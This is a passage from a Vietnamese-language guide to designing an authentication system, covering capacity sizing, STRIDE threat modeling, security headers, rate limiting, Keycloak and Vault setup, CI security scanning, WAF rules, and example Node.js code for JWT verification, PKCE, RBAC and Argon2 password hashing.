3.2 Session Store Sizing (Redis)
Nếu dùng session-based auth:
| Thông số | Giá trị |
|---|---|
| Concurrent sessions | 10M DAU x 1.5 devices = 15M |
| Session data size | ~2 KB (user info, permissions, metadata) |
| Session TTL | 30 phút idle, 24h absolute |
Redis cluster: 3 nodes x 16GB = 48GB → vừa đủ. Nhưng cần Redis Sentinel hoặc Redis Cluster cho HA.
Redis single node: 100K+ ops/s → một node đủ cho lookup. Bottleneck là memory, không phải throughput.
3.3 Auth Service QPS Requirements
| Operation | QPS (avg) | QPS (peak) | Latency Target |
|---|---|---|---|
| Login (password verify) | 115/s | 350/s | < 500ms (bcrypt) |
| Token refresh | 1,930/s | 5,800/s | < 100ms |
| Token validation (JWT verify) | 5,787/s | 17,361/s | < 5ms (local, no DB) |
| Permission check | 5,787/s | 17,361/s | < 10ms |
| Registration | 12/s | 35/s | < 1s |
| Password reset | 2/s | 6/s | < 500ms |
Login QPS estimation:
bcrypt CPU cost:
Alert: Password hashing là CPU bottleneck. 88 cores cho login alone! Giải pháp: dedicated auth service cluster, horizontal scaling, hoặc offload bcrypt sang async worker.
4. Security Deep Dive — Threat Modeling & Defense
4.1 Threat Modeling — STRIDE
STRIDE là framework phân loại mối đe doạ của Microsoft:
| Threat | Ý nghĩa | Ví dụ Auth/AuthZ | Mitigation |
|---|---|---|---|
| Spoofing | Giả mạo danh tính | Credential stuffing, token forgery | MFA, strong auth, certificate pinning |
| Tampering | Sửa đổi dữ liệu | Modify JWT payload, MITM | Digital signatures, TLS, integrity checks |
| Repudiation | Phủ nhận hành vi | ”Tôi không thực hiện giao dịch đó” | Audit logging, non-repudiation (digital signatures) |
| Information Disclosure | Lộ thông tin | JWT payload leak, error message leak | Encryption, minimal error messages, no sensitive data in JWT |
| Denial of Service | Từ chối dịch vụ | Login endpoint DDoS, bcrypt CPU exhaustion | Rate limiting, CAPTCHA, WAF |
| Elevation of Privilege | Leo thang quyền | BOLA, mass assignment, JWT claim manipulation | Authorization checks, input validation, least privilege |
Threat Modeling Process cho Auth System
1. DECOMPOSE hệ thống → vẽ Data Flow Diagram (DFD)
2. Xác định TRUST BOUNDARIES (browser ↔ API, API ↔ DB, service ↔ service)
3. Với MỖI data flow crossing trust boundary → apply STRIDE
4. Đánh giá RISK = Likelihood × Impact
5. Chọn MITIGATION cho mỗi threat
6. VALIDATE mitigations (pen test, code review)
4.2 Security Headers
# nginx.conf — Security headers configuration
server {
# Chống XSS: Chỉ cho phép script/style từ nguồn tin cậy
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self';" always;
# Force HTTPS trong 1 năm, bao gồm subdomain
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Chống clickjacking — không cho phép iframe
add_header X-Frame-Options "DENY" always;
# Chống MIME type sniffing
add_header X-Content-Type-Options "nosniff" always;
# Hạn chế thông tin referrer
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Hạn chế browser features
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self), payment=(self)" always;
# Không cache sensitive pages
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
add_header Pragma "no-cache" always;
}| Header | Mục đích | Giá trị khuyến nghị |
|---|---|---|
Content-Security-Policy | Chống XSS, data injection | Whitelist sources cụ thể |
Strict-Transport-Security | Force HTTPS | max-age=31536000; includeSubDomains; preload |
X-Frame-Options | Chống clickjacking | DENY hoặc SAMEORIGIN |
X-Content-Type-Options | Chống MIME sniffing | nosniff |
Referrer-Policy | Hạn chế thông tin referrer | strict-origin-when-cross-origin |
Permissions-Policy | Hạn chế browser APIs | Disable camera, mic, geolocation |
4.3 Rate Limiting for Login & Account Lockout
Login Rate Limiting Strategy
# Rate limiting tiers cho login endpoint
rate_limits:
# Tier 1: Per IP
- key: "login:ip:{ip}"
limit: 10 requests
window: 1 minute
action: block + CAPTCHA
# Tier 2: Per username
- key: "login:user:{username}"
limit: 5 attempts
window: 15 minutes
action: temporary lock (15 min)
# Tier 3: Per IP range (/24)
- key: "login:subnet:{ip_range}"
limit: 100 requests
window: 1 minute
action: block subnet + alert
# Tier 4: Global
- key: "login:global"
limit: 1000 requests
window: 1 minute
action: enable CAPTCHA for all + alert SOCCredential Stuffing Defense
Credential stuffing = attacker dùng database username/password bị lộ (từ các breach khác) để thử login hàng loạt.
| Defense Layer | Giải pháp |
|---|---|
| Detection | Monitor login failure rate, detect distributed attacks (nhiều IP, cùng pattern) |
| Rate limiting | Per-user + per-IP + per-subnet + global |
| CAPTCHA | Trigger sau N failed attempts |
| Bot detection | Device fingerprinting, behavioral analysis |
| Breached password check | Check password against HaveIBeenPwned API (k-Anonymity) |
| MFA | Even if password correct, attacker still needs 2nd factor |
| Account lockout | Progressive delay (1s, 2s, 4s, 8s…) thay vì hard lock |
Anti-pattern: Hard lockout sau 3 attempts → attacker có thể DoS bất kỳ ai bằng cách cố tình login sai 3 lần vào account nạn nhân. Dùng progressive delay + CAPTCHA thay vì hard lock.
4.4 Security Logging & Monitoring
What to Log (Auth Events)
{
"timestamp": "2024-01-15T10:30:00Z",
"event": "LOGIN_FAILED",
"severity": "WARN",
"user_id": "user-123",
"ip": "203.0.113.45",
"user_agent": "Mozilla/5.0...",
"geo": { "country": "VN", "city": "HCMC" },
"reason": "INVALID_PASSWORD",
"attempt_count": 3,
"request_id": "req-abc-123",
"session_id": null,
"mfa_method": null,
"risk_score": 0.7
}Security Alerts
| Event | Threshold | Action |
|---|---|---|
| Failed logins (per user) | > 5 in 15 min | Lock account + alert |
| Failed logins (per IP) | > 20 in 5 min | Block IP + CAPTCHA |
| Failed logins (global) | > 10x baseline | SOC alert + enable CAPTCHA globally |
| Privilege escalation attempt | Any | Immediate alert + block |
| Token from unusual geo | Risk score > 0.8 | Step-up authentication |
| Password change + session from new device | Within 1 hour | Alert user via email/SMS |
| Admin action from non-whitelisted IP | Any | Block + alert |
5. DevOps — Auth Infrastructure
5.1 Keycloak / Auth0 Setup
Keycloak (Self-hosted, Open Source)
# docker-compose.yml — Keycloak with PostgreSQL
version: '3.8'
services:
keycloak:
image: quay.io/keycloak/keycloak:23.0
command: start
environment:
KC_DB: postgres
KC_DB_URL: jdbc:postgresql://postgres:5432/keycloak
KC_DB_USERNAME: keycloak
KC_DB_PASSWORD_FILE: /run/secrets/db_password
KC_HOSTNAME: auth.example.com
KC_HTTPS_CERTIFICATE_FILE: /opt/keycloak/certs/tls.crt
KC_HTTPS_CERTIFICATE_KEY_FILE: /opt/keycloak/certs/tls.key
KC_HEALTH_ENABLED: "true"
KC_METRICS_ENABLED: "true"
KC_FEATURES: "token-exchange,admin-fine-grained-authz"
ports:
- "8443:8443"
volumes:
- ./certs:/opt/keycloak/certs:ro
secrets:
- db_password
deploy:
replicas: 2
resources:
limits:
memory: 1G
cpus: '1.0'
depends_on:
- postgres
postgres:
image: postgres:16-alpine
environment:
POSTGRES_DB: keycloak
POSTGRES_USER: keycloak
POSTGRES_PASSWORD_FILE: /run/secrets/db_password
volumes:
- keycloak-db:/var/lib/postgresql/data
secrets:
- db_password
secrets:
db_password:
file: ./secrets/db_password.txt # In production, use Vault/KMS
volumes:
keycloak-db:| Feature | Keycloak (Self-hosted) | Auth0 (SaaS) |
|---|---|---|
| Cost | Free (infra cost) | $23/1000 MAU |
| Setup | Complex | Easy |
| Customization | Full control | Limited |
| Compliance | Full control over data | SOC2, GDPR |
| Maintenance | Team phải maintain | Managed |
| Scale | Manual | Auto |
Chọn Keycloak khi: cần full control, data residency, budget hạn chế, team có DevOps capacity. Chọn Auth0 khi: cần nhanh, team nhỏ, không muốn maintain auth infrastructure.
5.2 HashiCorp Vault — Secrets Management
# === Vault Setup & Usage ===
# 1. Enable secrets engine
vault secrets enable -path=secret kv-v2
# 2. Store database credentials
vault kv put secret/auth-service/db \
username="auth_svc" \
password="$(openssl rand -base64 32)"
# 3. Store JWT signing keys
vault kv put secret/auth-service/jwt \
[email protected] \
[email protected]
# 4. Configure auto-rotation for database credentials
vault write database/config/auth-db \
plugin_name=postgresql-database-plugin \
connection_url="postgresql://{{username}}:{{password}}@db:5432/auth" \
allowed_roles="auth-service" \
username="vault_admin" \
password="vault_admin_pass"
vault write database/roles/auth-service \
db_name=auth-db \
creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO \"{{name}}\";" \
default_ttl="1h" \
max_ttl="24h"
# 5. App reads secret (with lease)
vault read database/creds/auth-service
# → username: v-auth-svc-abc123
# → password: A1B2C3...
# → lease_duration: 1h
# → lease_id: database/creds/auth-service/xxxVault in Kubernetes
# vault-agent-injector annotation cho pod
apiVersion: apps/v1
kind: Deployment
metadata:
name: auth-service
spec:
template:
metadata:
annotations:
vault.hashicorp.com/agent-inject: "true"
vault.hashicorp.com/role: "auth-service"
vault.hashicorp.com/agent-inject-secret-db: "secret/data/auth-service/db"
vault.hashicorp.com/agent-inject-secret-jwt: "secret/data/auth-service/jwt"
vault.hashicorp.com/agent-inject-template-db: |
{{- with secret "secret/data/auth-service/db" -}}
DB_USERNAME={{ .Data.data.username }}
DB_PASSWORD={{ .Data.data.password }}
{{- end }}
spec:
serviceAccountName: auth-service
containers:
- name: auth-service
image: auth-service:latest
# Secrets sẽ được mount vào /vault/secrets/db5.3 Certificate Management
# cert-manager (Kubernetes) — Auto TLS certificate
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
name: auth-tls
namespace: auth
spec:
secretName: auth-tls-secret
issuerRef:
name: letsencrypt-prod
kind: ClusterIssuer
dnsNames:
- auth.example.com
- api.example.com
renewBefore: 720h # Renew 30 ngày trước khi hết hạn
---
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: letsencrypt-prod
spec:
acme:
server: https://acme-v02.api.letsencrypt.org/directory
email: [email protected]
privateKeySecretRef:
name: letsencrypt-prod-key
solvers:
- http01:
ingress:
class: nginx5.4 Security Scanning in CI/CD
# .github/workflows/security-pipeline.yml
name: Security Pipeline
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
# 1. Static Application Security Testing (SAST)
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Semgrep (SAST)
uses: semgrep/semgrep-action@v1
with:
config: >-
p/owasp-top-ten
p/jwt
p/nodejs
p/sql-injection
generateSarif: true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: semgrep.sarif
# 2. Software Composition Analysis (SCA)
sca:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Trivy (Dependency scan)
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
severity: 'CRITICAL,HIGH'
exit-code: '1' # Fail build on critical/high
# 3. Secret Detection
secrets:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Run Gitleaks
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# 4. Container Security
container-scan:
runs-on: ubuntu-latest
needs: [sast, sca, secrets]
steps:
- uses: actions/checkout@v4
- name: Build Docker image
run: docker build -t auth-service:${{ github.sha }} .
- name: Run Trivy (Container scan)
uses: aquasecurity/trivy-action@master
with:
image-ref: 'auth-service:${{ github.sha }}'
severity: 'CRITICAL,HIGH'
exit-code: '1'
# 5. DAST (Dynamic testing on staging)
dast:
runs-on: ubuntu-latest
needs: [container-scan]
if: github.ref == 'refs/heads/main'
steps:
- name: Run OWASP ZAP
uses: zaproxy/[email protected]
with:
target: 'https://staging-auth.example.com'
rules_file_name: '.zap/rules.tsv'5.5 WAF Rules (AWS WAF Example)
{
"Name": "AuthProtectionRules",
"Rules": [
{
"Name": "RateLimitLogin",
"Priority": 1,
"Action": { "Block": {} },
"Statement": {
"RateBasedStatement": {
"Limit": 100,
"AggregateKeyType": "IP",
"ScopeDownStatement": {
"ByteMatchStatement": {
"SearchString": "/api/auth/login",
"FieldToMatch": { "UriPath": {} },
"PositionalConstraint": "EXACTLY",
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }]
}
}
}
}
},
{
"Name": "BlockKnownBadBots",
"Priority": 2,
"Action": { "Block": {} },
"Statement": {
"ManagedRuleGroupStatement": {
"VendorName": "AWS",
"Name": "AWSManagedRulesBotControlRuleSet"
}
}
},
{
"Name": "SQLInjectionProtection",
"Priority": 3,
"Action": { "Block": {} },
"Statement": {
"ManagedRuleGroupStatement": {
"VendorName": "AWS",
"Name": "AWSManagedRulesSQLiRuleSet"
}
}
},
{
"Name": "XSSProtection",
"Priority": 4,
"Action": { "Block": {} },
"Statement": {
"ManagedRuleGroupStatement": {
"VendorName": "AWS",
"Name": "AWSManagedRulesCommonRuleSet"
}
}
}
]
}6. Code Examples
6.1 JWT Auth Middleware (Node.js Express)
// middleware/jwt-auth.js
const jwt = require('jsonwebtoken');
const jwksClient = require('jwks-rsa');
// JWKS client — lấy public key từ Auth Server
const client = jwksClient({
jwksUri: process.env.JWKS_URI || 'https://auth.example.com/.well-known/jwks.json',
cache: true, // Cache public keys
cacheMaxAge: 600000, // 10 phút
rateLimit: true,
jwksRequestsPerMinute: 10, // Ngăn abuse
});
function getSigningKey(header, callback) {
client.getSigningKey(header.kid, (err, key) => {
if (err) return callback(err);
const signingKey = key.getPublicKey();
callback(null, signingKey);
});
}
/**
* JWT Authentication Middleware
* Verify JWT token từ Authorization header
*/
function authenticate(req, res, next) {
// 1. Extract token
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({
error: 'UNAUTHORIZED',
message: 'Missing or invalid Authorization header',
});
}
const token = authHeader.split(' ')[1];
// 2. Verify token
jwt.verify(
token,
getSigningKey,
{
algorithms: ['RS256'], // CHỈ chấp nhận RS256 — ngăn "alg: none" attack
issuer: process.env.JWT_ISSUER || 'https://auth.example.com',
audience: process.env.JWT_AUDIENCE || 'https://api.example.com',
clockTolerance: 30, // Chấp nhận sai lệch 30s giữa servers
},
(err, decoded) => {
if (err) {
const errorMap = {
TokenExpiredError: { status: 401, code: 'TOKEN_EXPIRED' },
JsonWebTokenError: { status: 401, code: 'INVALID_TOKEN' },
NotBeforeError: { status: 401, code: 'TOKEN_NOT_ACTIVE' },
};
const mapped = errorMap[err.name] || { status: 401, code: 'AUTH_ERROR' };
// Security logging — log failed auth attempts
req.log?.warn({
event: 'AUTH_FAILED',
reason: mapped.code,
ip: req.ip,
userAgent: req.headers['user-agent'],
path: req.path,
});
return res.status(mapped.status).json({
error: mapped.code,
message: 'Authentication failed',
// KHÔNG trả chi tiết lỗi cho client → information disclosure
});
}
// 3. Attach user info
req.user = {
id: decoded.sub,
email: decoded.email,
roles: decoded.roles || [],
orgId: decoded.org_id,
permissions: decoded.permissions || [],
};
// Security logging — log successful auth
req.log?.info({
event: 'AUTH_SUCCESS',
userId: decoded.sub,
ip: req.ip,
path: req.path,
});
next();
}
);
}
/**
* Optional authentication — không block nếu không có token
* Dùng cho endpoints vừa public vừa có enhanced features khi login
*/
function optionalAuth(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
req.user = null;
return next();
}
return authenticate(req, res, next);
}
module.exports = { authenticate, optionalAuth };6.2 OAuth2 PKCE Flow Implementation (Client-side)
// auth/oauth2-pkce.js
// OAuth2 Authorization Code + PKCE flow cho SPA
/**
* Tạo random code verifier (43-128 chars)
*/
function generateCodeVerifier() {
const array = new Uint8Array(32);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}
/**
* Tính code challenge = BASE64URL(SHA256(code_verifier))
*/
async function generateCodeChallenge(codeVerifier) {
const encoder = new TextEncoder();
const data = encoder.encode(codeVerifier);
const digest = await crypto.subtle.digest('SHA-256', data);
return base64UrlEncode(new Uint8Array(digest));
}
function base64UrlEncode(buffer) {
return btoa(String.fromCharCode(...buffer))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}
/**
* Bước 1: Redirect user tới Auth Server
*/
async function initiateLogin() {
const codeVerifier = generateCodeVerifier();
const codeChallenge = await generateCodeChallenge(codeVerifier);
const state = crypto.randomUUID(); // CSRF protection
// Lưu vào sessionStorage (KHÔNG localStorage — tab-scoped an toàn hơn)
sessionStorage.setItem('pkce_code_verifier', codeVerifier);
sessionStorage.setItem('oauth_state', state);
const params = new URLSearchParams({
response_type: 'code',
client_id: process.env.OAUTH_CLIENT_ID,
redirect_uri: `${window.location.origin}/callback`,
scope: 'openid profile email',
state: state,
code_challenge: codeChallenge,
code_challenge_method: 'S256',
});
window.location.href =
`${process.env.AUTH_SERVER_URL}/authorize?${params.toString()}`;
}
/**
* Bước 2: Handle callback — exchange code for tokens
*/
async function handleCallback() {
const params = new URLSearchParams(window.location.search);
const code = params.get('code');
const state = params.get('state');
const error = params.get('error');
// Check for errors
if (error) {
throw new Error(`OAuth error: ${error} - ${params.get('error_description')}`);
}
// Validate state (CSRF protection)
const savedState = sessionStorage.getItem('oauth_state');
if (state !== savedState) {
throw new Error('Invalid state parameter — possible CSRF attack');
}
// Retrieve code verifier
const codeVerifier = sessionStorage.getItem('pkce_code_verifier');
if (!codeVerifier) {
throw new Error('Missing code verifier — please restart login');
}
// Exchange code for tokens
const response = await fetch(`${process.env.AUTH_SERVER_URL}/token`, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
client_id: process.env.OAUTH_CLIENT_ID,
code: code,
redirect_uri: `${window.location.origin}/callback`,
code_verifier: codeVerifier, // PKCE verification
}),
});
if (!response.ok) {
throw new Error('Token exchange failed');
}
const tokens = await response.json();
// Cleanup
sessionStorage.removeItem('pkce_code_verifier');
sessionStorage.removeItem('oauth_state');
// Store tokens securely
// Option A: httpOnly cookie (set by backend) — PREFERRED
// Option B: Memory only (lost on refresh, use refresh token flow)
return tokens;
}
/**
* Bước 3: Refresh token (silent)
*/
async function refreshAccessToken(refreshToken) {
const response = await fetch(`${process.env.AUTH_SERVER_URL}/token`, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'refresh_token',
client_id: process.env.OAUTH_CLIENT_ID,
refresh_token: refreshToken,
}),
});
if (!response.ok) {
// Refresh token expired or revoked → force re-login
initiateLogin();
return null;
}
return response.json(); // { access_token, refresh_token (rotated) }
}
module.exports = { initiateLogin, handleCallback, refreshAccessToken };6.3 RBAC Middleware
// middleware/rbac.js
/**
* RBAC Authorization Middleware
* Sử dụng sau authenticate middleware
*/
// Permission definition
const ROLE_PERMISSIONS = {
admin: ['*'], // Superuser
editor: [
'article:read', 'article:write', 'article:publish',
'comment:read', 'comment:write', 'comment:delete',
'media:read', 'media:upload',
],
author: [
'article:read', 'article:write',
'comment:read', 'comment:write',
'media:read', 'media:upload',
],
viewer: [
'article:read',
'comment:read',
],
};
/**
* Check nếu user có permission cần thiết
*/
function hasPermission(userRoles, requiredPermission) {
for (const role of userRoles) {
const permissions = ROLE_PERMISSIONS[role] || [];
if (permissions.includes('*') || permissions.includes(requiredPermission)) {
return true;
}
}
return false;
}
/**
* Middleware factory: require specific permission
* Usage: app.post('/articles', authenticate, authorize('article:write'), handler)
*/
function authorize(requiredPermission) {
return (req, res, next) => {
if (!req.user) {
return res.status(401).json({ error: 'UNAUTHORIZED' });
}
if (!hasPermission(req.user.roles, requiredPermission)) {
// Security logging
req.log?.warn({
event: 'AUTHZ_DENIED',
userId: req.user.id,
roles: req.user.roles,
requiredPermission,
path: req.path,
method: req.method,
ip: req.ip,
});
return res.status(403).json({
error: 'FORBIDDEN',
message: 'Insufficient permissions',
// KHÔNG cho biết cần permission gì → information disclosure
});
}
// Security logging
req.log?.info({
event: 'AUTHZ_GRANTED',
userId: req.user.id,
permission: requiredPermission,
path: req.path,
});
next();
};
}
/**
* Middleware: require ANY of the listed roles
* Usage: app.delete('/users/:id', authenticate, requireRole('admin'), handler)
*/
function requireRole(...roles) {
return (req, res, next) => {
if (!req.user) {
return res.status(401).json({ error: 'UNAUTHORIZED' });
}
const hasRole = req.user.roles.some((r) => roles.includes(r));
if (!hasRole) {
req.log?.warn({
event: 'ROLE_CHECK_DENIED',
userId: req.user.id,
userRoles: req.user.roles,
requiredRoles: roles,
path: req.path,
ip: req.ip,
});
return res.status(403).json({
error: 'FORBIDDEN',
message: 'Insufficient permissions',
});
}
next();
};
}
/**
* Middleware: Resource-level authorization
* Check user owns the resource (prevent BOLA)
*/
function authorizeOwner(getResourceOwnerId) {
return async (req, res, next) => {
if (!req.user) {
return res.status(401).json({ error: 'UNAUTHORIZED' });
}
// Admin bypass
if (req.user.roles.includes('admin')) {
return next();
}
try {
const ownerId = await getResourceOwnerId(req);
if (ownerId !== req.user.id) {
req.log?.warn({
event: 'BOLA_ATTEMPT',
userId: req.user.id,
resourceOwnerId: ownerId,
path: req.path,
method: req.method,
ip: req.ip,
});
return res.status(403).json({
error: 'FORBIDDEN',
message: 'Insufficient permissions',
});
}
next();
} catch (err) {
return res.status(404).json({ error: 'NOT_FOUND' });
}
};
}
// === Usage Examples ===
// const { authenticate } = require('./jwt-auth');
// const { authorize, requireRole, authorizeOwner } = require('./rbac');
//
// // Public
// app.get('/articles', listArticles);
//
// // Authenticated
// app.get('/profile', authenticate, getProfile);
//
// // Permission-based
// app.post('/articles', authenticate, authorize('article:write'), createArticle);
// app.put('/articles/:id/publish', authenticate, authorize('article:publish'), publishArticle);
//
// // Role-based
// app.delete('/users/:id', authenticate, requireRole('admin'), deleteUser);
//
// // Owner-based (prevent BOLA)
// app.put('/articles/:id', authenticate, authorizeOwner(
// async (req) => {
// const article = await Article.findById(req.params.id);
// return article?.authorId;
// }
// ), updateArticle);
module.exports = { authorize, requireRole, authorizeOwner, hasPermission };6.4 Password Hashing Example
// auth/password.js
const argon2 = require('argon2');
const crypto = require('crypto');
// Argon2id configuration — OWASP recommended
const ARGON2_OPTIONS = {
type: argon2.argon2id, // Hybrid: chống cả side-channel + GPU
memoryCost: 65536, // 64 MB RAM
timeCost: 3, // 3 iterations
parallelism: 4, // 4 threads
hashLength: 32, // 32 bytes output
};
/**
* Hash password bằng Argon2id
*/
async function hashPassword(plainPassword) {
// Validate password strength trước khi hash
if (!isPasswordStrong(plainPassword)) {
throw new Error('Password does not meet strength requirements');
}
// Argon2 tự generate salt
return argon2.hash(plainPassword, ARGON2_OPTIONS);
// Output: $argon2id$v=19$m=65536,t=3,p=4$salt$hash
}
/**
* Verify password against stored hash
*/
async function verifyPassword(plainPassword, storedHash) {
try {
return await argon2.verify(storedHash, plainPassword);
} catch (err) {
// Hash format invalid hoặc error khác → treat as failure
return false;
}
}
/**
* Check if hash needs rehashing (params đã thay đổi)
*/
function needsRehash(storedHash) {
return argon2.needsRehash(storedHash, ARGON2_OPTIONS);
}
/**
* Password strength validation
* NIST SP 800-63B guidelines:
* - Minimum 8 chars (recommend 12+)
* - Check against breached passwords
* - NO arbitrary complexity rules (uppercase, special char, etc.)
*/
function isPasswordStrong(password) {
if (password.length < 12) return false;
if (password.length > 128) return false; // Prevent DoS via long password
// Block common passwords (in production: use full breached password DB)
const commonPasswords = [
'password123456', '123456789012', 'qwertyuiopas',
];
if (commonPasswords.includes(password.toLowerCase())) return false;
return true;
}
/**
* Check password against HaveIBeenPwned (k-Anonymity)
* Gửi 5 chars đầu của SHA1 hash → API trả về danh sách suffix
* → KHÔNG BAO GIỜ gửi full password hoặc full hash ra ngoài
*/
async function isPasswordBreached(password) {
const sha1 = crypto.createHash('sha1').update(password).digest('hex').toUpperCase();
const prefix = sha1.slice(0, 5);
const suffix = sha1.slice(5);
const response = await fetch(`https://api.pwnedpasswords.com/range/${prefix}`);
const text = await response.text();
return text.split('\n').some((line) => {
const [hashSuffix, count] = line.split(':');
return hashSuffix.trim() === suffix;
});
}
module.exports = {
hashPassword,
verifyPassword,
needsRehash,
isPasswordStrong,
isPasswordBreached,
};6.5 Security Headers Config (Express)
// middleware/security-headers.js
const helmet = require('helmet');
function securityHeaders() {
return helmet({
// Content Security Policy
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", 'https://cdn.example.com'],
styleSrc: ["'self'", "'unsafe-inline'"], // unsafe-inline cho CSS only
imgSrc: ["'self'", 'data:', 'https:'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
connectSrc: ["'self'", 'https://api.example.com'],
frameAncestors: ["'none'"], // Chống clickjacking
baseUri: ["'self'"],
formAction: ["'self'"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [], // HTTP → HTTPS
},
},
// Strict Transport Security
strictTransportSecurity: {
maxAge: 31536000, // 1 năm
includeSubDomains: true,
preload: true,
},
// Chống clickjacking
frameguard: { action: 'deny' },
// Chống MIME sniffing
noSniff: true,
// Referrer Policy
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// Permissions Policy
permittedCrossDomainPolicies: { permittedPolicies: 'none' },
// Disable X-Powered-By (information disclosure)
hidePoweredBy: true,
// XSS Filter (legacy browsers)
xssFilter: true,
});
}
// CORS configuration
const cors = require('cors');
function corsConfig() {
const allowedOrigins = (process.env.ALLOWED_ORIGINS || '').split(',');
return cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, Postman)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
allowedHeaders: ['Authorization', 'Content-Type', 'X-Request-ID'],
exposedHeaders: ['X-Request-ID', 'X-RateLimit-Remaining'],
credentials: true, // Allow cookies
maxAge: 86400, // Preflight cache 24h
});
}
// Cookie security settings
function secureCookieConfig() {
return {
httpOnly: true, // JavaScript không đọc được
secure: true, // Chỉ gửi qua HTTPS
sameSite: 'lax', // CSRF protection
maxAge: 3600000, // 1 giờ
path: '/',
domain: '.example.com', // Share giữa subdomain
signed: true, // Detect tampering
};
}
module.exports = { securityHeaders, corsConfig, secureCookieConfig };7. Mermaid Diagrams
7.1 OAuth2 Authorization Code Flow
sequenceDiagram participant U as User (Browser) participant C as Client App participant AS as Auth Server<br/>(Keycloak/Auth0) participant RS as Resource Server<br/>(API) U->>C: 1. Click "Login" C->>AS: 2. GET /authorize<br/>response_type=code<br/>client_id, redirect_uri<br/>scope, state, code_challenge AS->>U: 3. Show Login Page U->>AS: 4. Enter credentials + MFA AS->>AS: 5. Validate credentials AS->>C: 6. 302 Redirect to callback<br/>?code=AUTH_CODE&state=xxx rect rgb(200, 255, 200) Note over C,AS: Back-channel (server-to-server, secure) C->>AS: 7. POST /token<br/>code=AUTH_CODE<br/>client_secret (or code_verifier)<br/>redirect_uri AS->>AS: 8. Validate code +<br/>client + PKCE AS->>C: 9. { access_token, refresh_token,<br/>id_token, expires_in } end C->>RS: 10. GET /api/resource<br/>Authorization: Bearer {access_token} RS->>RS: 11. Verify JWT<br/>(check sig, exp, aud, iss) RS->>C: 12. 200 OK + Resource Data C->>U: 13. Display Data Note over C,AS: Token Refresh (khi access token hết hạn) C->>AS: 14. POST /token<br/>grant_type=refresh_token<br/>refresh_token=R1 AS->>AS: 15. Validate R1,<br/>Issue R2 (rotation),<br/>Invalidate R1 AS->>C: 16. { new access_token,<br/>new refresh_token (R2) }
7.2 JWT Lifecycle
flowchart TD subgraph "Token Issuance" A[User Login<br/>email + password + MFA] --> B{Credentials Valid?} B -->|No| C[401 Unauthorized<br/>+ Security Log] B -->|Yes| D[Generate Key Pair<br/>or Load from Vault] D --> E[Create JWT Claims<br/>sub, iss, aud, exp, roles] E --> F["Sign JWT<br/>RS256(header.payload, privateKey)"] F --> G[Generate Refresh Token<br/>opaque, stored in DB] G --> H[Return Tokens<br/>access_token + refresh_token] end subgraph "Token Usage" H --> I[Client stores tokens<br/>httpOnly cookie / memory] I --> J[API Request<br/>Authorization: Bearer JWT] J --> K{Token Expired?} K -->|Yes| L[Use Refresh Token<br/>to get new Access Token] L --> M{Refresh Token Valid?} M -->|No| N[Force Re-login] M -->|Yes| O[Issue New Access Token<br/>+ Rotate Refresh Token] O --> I K -->|No| P{Signature Valid?} P -->|No| Q[401 + Log<br/>POSSIBLE TOKEN FORGERY] P -->|Yes| R{Claims Valid?<br/>iss, aud, roles} R -->|No| S[403 Forbidden] R -->|Yes| T[Process Request] end subgraph "Token Revocation" U[User Logout] --> V[Delete Refresh Token<br/>from DB] W[Password Changed] --> X[Revoke ALL<br/>Refresh Tokens<br/>for User] Y[Security Incident] --> Z[Add JWT jti<br/>to Blacklist<br/>Redis TTL = remaining exp] end style C fill:#ff6b6b,stroke:#333 style Q fill:#ff6b6b,stroke:#333 style N fill:#ff6b6b,stroke:#333 style T fill:#51cf66,stroke:#333
7.3 Zero Trust Architecture
